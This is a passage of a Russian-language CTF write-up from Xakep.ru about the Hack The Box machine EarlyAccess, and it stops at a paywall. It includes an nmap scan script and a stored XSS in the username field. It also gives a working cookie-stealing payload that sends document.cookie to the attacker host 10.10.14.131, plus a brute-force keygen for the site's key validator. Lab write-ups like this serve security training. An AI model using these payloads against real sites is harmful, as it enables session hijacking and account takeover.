В этой статье я покажу про­цесс экс­плу­ата­ции нес­коль­ких веб‑сер­висов через раз­ные уяз­вимос­ти и тех­ники, начиная с XSS и SQL-инъ­екций и закан­чивая LFI и инъ­екци­ей команд ОС. А потом мы выберем­ся из Docker на основную сис­тему и зай­дем в дру­гой Docker, что­бы эту сис­тему порутить. Ску­чать не при­дет­ся!

На­шей целью будет машина EarlyAccess с пло­щад­ки Hack The Box. Уро­вень слож­ности — Hard, но ког­да нас это оста­нав­ливало?

warning

Под­клю­чать­ся к машинам с HTB рекомен­дует­ся толь­ко через VPN. Не делай это­го с компь­юте­ров, где есть важ­ные для тебя дан­ные, так как ты ока­жешь­ся в общей сети с дру­гими учас­тни­ками.

 

Разведка. Сканирование портов

До­бав­ляем IP-адрес машины в /etc/hosts:

10.10.11.110 earlyaccess.htb

И запус­каем ска­ниро­вание пор­тов.

Справка: сканирование портов

Ска­ниро­вание пор­тов — стан­дар­тный пер­вый шаг при любой ата­ке. Он поз­воля­ет ата­кующе­му узнать, какие служ­бы на хос­те при­нима­ют соеди­нение. На осно­ве этой информа­ции выбира­ется сле­дующий шаг к получе­нию точ­ки вхо­да.

На­ибо­лее извес­тный инс­тру­мент для ска­ниро­вания — это Nmap. Улуч­шить резуль­таты его работы ты можешь при помощи сле­дующе­го скрип­та.

#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -A $1

Он дей­ству­ет в два эта­па. На пер­вом про­изво­дит­ся обыч­ное быс­трое ска­ниро­вание, на вто­ром — более тща­тель­ное ска­ниро­вание, с исполь­зовани­ем име­ющих­ся скрип­тов (опция -A).

Результат работы скрипта
Ре­зуль­тат работы скрип­та

На­ходим три откры­тых пор­та:

  • порт 22 — служ­ба OpenSSH 7.9p1;
  • пор­ты 80, 443 — веб‑сер­вер Apache 2.4.38.

Так как на хос­те работа­ет веб‑сер­вер с дос­тупом по SSH, мы можем извлечь из сер­тифика­та домен­ное имя сай­та, для которо­го он дей­стви­телен. В резуль­татах ска­ниро­вания Nmap при­вел поле commonName, одна­ко это наз­вание мы уже записа­ли в /etc/hosts. Зай­дем на сайт и пос­мотрим, что он может нам дать.

Главная страница сайта
Глав­ная стра­ница сай­та

Тут есть воз­можность регис­тра­ции и авто­риза­ции. Сде­лаем и то и дру­гое, что­бы получить дос­туп к боль­шему чис­лу фун­кций и раз­ных мест для тес­тирова­ния.

Главная панель авторизованного пользователя
Глав­ная панель авто­ризо­ван­ного поль­зовате­ля

Нам откры­вает­ся связь с адми­нис­тра­тором, форум, хра­нили­ще и про­вер­ка какого‑то клю­ча.

 

Эксплуатация earlyaccess.htb

 

Stored XSS

Я сра­зу решил про­тес­тировать фор­му свя­зи с адми­ном и про­верить, нет ли уяз­вимос­тей XSS.

Тестовое сообщение
Тес­товое сооб­щение

От­пра­вив тес­товое сооб­щение, можем опре­делить две позиции для наг­рузки: имя поль­зовате­ля и тело сооб­щения. Прой­дем в про­филь поль­зовате­ля и пос­тавим базовую наг­рузку <script>alert(1);script> в име­ни поль­зовате­ля.

Редактирование профиля
Ре­дак­тирова­ние про­филя

Пос­ле перехо­да к сооб­щени­ям видим отметку о про­читан­ном сооб­щении.

Сообщения пользователя
Со­обще­ния поль­зовате­ля

А открыв сам текст, получим отра­бот­ку нашего кода.

Сообщение alert(1)
Со­обще­ние alert(1)

Так как при­сутс­тву­ет stored XSS, мы можем украсть куки адми­нис­тра­тора. Это поз­волит открыть еще боль­ше воз­можнос­тей!

Не­дав­но я поз­накомил­ся с отличным инс­тру­мен­том pyXSSPlatform, который может облегчить задачу в таких слу­чаях. Пос­ле заг­рузки нуж­но сге­нери­ровать сер­тификат для нашего веб‑сер­вера.

openssl req -new -x509 -keyout https_svr_key.pem -out https_svr_key.pem -days 3650 -nodes
Генерируем сертификат
Ге­нери­руем сер­тификат

За­тем из катало­га с шаб­лонами ско­пиру­ем код для кра­жи куки в файл index.js. Толь­ко вста­вим в код свой адрес.

var serverUrl = "https://10.10.14.131/cookie";//change this
var newimg = new Image();
newimg.src=serverUrl+"?cookie="+escape(document.cookie);

А затем запус­тим веб‑сер­вер.

python3 pyXSSPlatform.py 10.10.14.131 443 https_svr_key.pem
Запуск платформы для эксплуатации XSS
За­пуск плат­формы для экс­плу­ата­ции XSS

В качес­тве име­ни поль­зовате­ля исполь­зуем наг­рузку, которую пре­дос­тавля­ет pyXSSPlatform.

<img src=x onerror=with(document)body.appendChild(document.createElement('script')).src="https://10.10.14.131/index.js"></img>

Сно­ва отпра­вим сооб­щение и, пос­ле того как адми­нис­тра­тор его про­чита­ет, в логах веб‑сер­вера обна­ружим зап­рос основной наг­рузки, а потом и зап­рос с пре­дос­тавлен­ными в качес­тве парамет­ра куками.

Логи pyXSSPlatform
Ло­ги pyXSSPlatform

Ис­поль­зуем рас­ширение для бра­узе­ра вро­де Cookie Editor, заменя­ем наши cookie толь­ко что получен­ными и обновля­ем стра­ницу. Теперь у нас есть панель адми­нис­тра­тора.

Панель админа
Па­нель адми­на
 

KeyGen

При­виле­гии адми­нис­тра­тора откры­вают нам дос­туп к исходно­му коду валида­тора уже зна­комо­го клю­ча, а так­же к двум новым сай­там — Dev и Game, запись для которых добав­ляем в /etc/hosts.

10.10.11.110 earlyaccess.htb dev.earlyaccess.htb game.earlyaccess.htb
Панель валидатора
Па­нель валида­тора
Форма авторизации Game
Фор­ма авто­риза­ции Game
Форма авторизации Dev
Фор­ма авто­риза­ции Dev

Так мы можем авто­ризо­вать­ся от име­ни поль­зовате­ля, если будет зарегис­три­рован ключ. Поп­робу­ем про­ана­лизи­ровать алго­ритм валида­ции и написать кей­ген.

Пер­вым делом в прог­рамме про­веря­ется фор­мат клю­ча.

Функция main
Фун­кция main
Функция valid_format
Фун­кция valid_format

Ключ делит­ся на пять бло­ков:

  • пять сим­волов из алфа­вита A–Z и 0–9;
  • пять сим­волов из алфа­вита A–Z и 0–9;
  • че­тыре пер­вых сим­вола из алфа­вита A–Z и один сим­вол из 0–9;
  • пять сим­волов из алфа­вита A–Z и 0–9;
  • чис­ло от 0 до 99999.

Из фун­кции check узна­ем, что бло­ки про­веря­ются отдель­но друг от дру­га.

Функция check
Фун­кция check

До­пишем вывод пос­ле каж­дой про­вер­ки, что­бы опре­делять, пра­виль­ный ли блок мы подоб­рали.

Измененная функция check
Из­менен­ная фун­кция check

А теперь прис­тупим к ана­лизу фун­кций, которые про­водят про­вер­ку. Так, в фун­кции g1_valid чет­вертый и пятый сим­волы дол­жны быть циф­рами (стро­ки 39–43).

Функция g1_valid
Фун­кция g1_valid

Что­бы не раз­бирать алго­рит­мы про­верок, я решил сос­тавлять сло­вари, перепи­сывать эти фун­кции и бру­тить! Сло­вари сос­тавля­ем с помощью прог­раммы crunch. Пер­вый сло­варь у меня будет сос­тоять из трех букв и двух цифр, для это­го исполь­зуем мас­ку ,,,%%.

crunch 5 5 -t ,,,%% > g1_list.txt

Де­лаем кей­ген для этой фун­кции на Python:

def g1_valid(g1):
r = [(ord(v)<<i+1)%256^ord(v) for i, v in enumerate(g1[0:3])]
if r != [221, 81, 145]:
return False
for v in g1[3:]:
try:
int(v)
except:
return False
return len(set(g1)) == len(g1)
g1_list = open("g1_list.txt").read().split("\n")
for s in g1_list:
if g1_valid(s) == True:
print(s)
break

За­пус­каем и получа­ем пер­вую часть клю­ча.

Генерация и проверка первой части ключа
Ге­нера­ция и про­вер­ка пер­вой час­ти клю­ча

Пе­рей­дем ко вто­рой час­ти, которая исполь­зует все бук­вы и циф­ры. Соз­дадим сло­варь, а потом допишем фун­кцию про­вер­ки:

crunch 5 5 1234567890QWERTYUIOPASDFGHJKLZXCVBNM > g2_list.txt
Функция g2_valid
Фун­кция g2_valid
def g2_valid(g2):
p1 = g2[::2]
p2 = g2[1::2]
return sum(bytearray(p1.encode())) == sum(bytearray(p2.encode()))
Генерация и проверка второй части ключа
Ге­нера­ция и про­вер­ка вто­рой час­ти клю­ча

Для генера­ции треть­ей час­ти нам понадо­бит­ся два допол­нитель­ных magic-зна­чения.

Функция g3_valid
Фун­кция g3_valid
Magic-значения
Magic-зна­чения

При этом зна­чение magic_num меня­ется раз в 30 минут, а пер­вые два сим­вола дол­жны быть рав­ны ста­тичес­кому зна­чению magic_value — XP. Генери­руем сло­варь для строк из трех сим­волов: пер­вые две бук­вы, пос­ледняя циф­ра.

crunch 3 3 -t ,,% > g3_list.txt

И с помощью сле­дующе­го кода получа­ем третью часть клю­ча.

def g3_valid(magic_num, g3):
return sum(bytearray(("XP" + g3).encode())) == magic_num
g1_list = open("g3_list.txt").read().split("\n")
for s in g1_list:
if g3_valid(346, s) == True:
print("XP"+s)
break
Генерация и проверка третьей части ключа
Ге­нера­ция и про­вер­ка треть­ей час­ти клю­ча

Для чет­вертой час­ти исполь­зуем сло­варь, который был сге­нери­рован для вто­рой, а так­же пер­вую часть клю­ча.

Функция g4_valid
Фун­кция g4_valid
def g4_valid(g4):
g1 = 'KEY01'
return [ord(i)^ord(g) for g, i in zip(g1, g4)] == [12, 4, 20, 117, 0]
Генерация и проверка четвертой части ключа
Ге­нера­ция и про­вер­ка чет­вертой час­ти клю­ча

Ос­талась пятая часть — кон­троль­ная сум­ма.

Функция cs_valid
Фун­кция cs_valid
Функция calc_cs
Фун­кция calc_cs

Для перебо­ра я решил исполь­зовать четырех­символь­ные чис­ла, как ука­зано в при­мере.

crunch 4 4 -t %%%% >> g5_list.txt
def cs_valid(g5):
return sum([sum(bytearray(g.encode())) for g in ['KEY01', '1Q1WF', 'XPAA0', 'GAME1']]) == int(g5)
Генерация пятой части и проверка ключа
Ге­нера­ция пятой час­ти и про­вер­ка клю­ча

Так мы сде­лали скрипт, получи­ли ключ, вот толь­ко сер­вис его не при­нял. Видимо, изме­нилось зна­чение magic_num. А это зна­чит, что нуж­но сос­тавить спи­сок воз­можных клю­чей и попытать­ся проб­рутить.

Продолжение доступно только участникам

Вариант 1. Присоединись к сообществу «Xakep.ru», чтобы читать все материалы на сайте

Членство в сообществе в течение указанного срока откроет тебе доступ ко ВСЕМ материалам «Хакера», позволит скачивать выпуски в PDF, отключит рекламу на сайте и увеличит личную накопительную скидку! Подробнее

Вариант 2. Открой один материал

Заинтересовала статья, но нет возможности стать членом клуба «Xakep.ru»? Тогда этот вариант для тебя! Обрати внимание: этот способ подходит только для статей, опубликованных более двух месяцев назад.


  • Подпишись на наc в Telegram!

    Только важные новости и лучшие статьи

    Подписаться

  • Подписаться
    Уведомить о
    4 комментариев
    Старые
    Новые Популярные
    Межтекстовые Отзывы
    Посмотреть все комментарии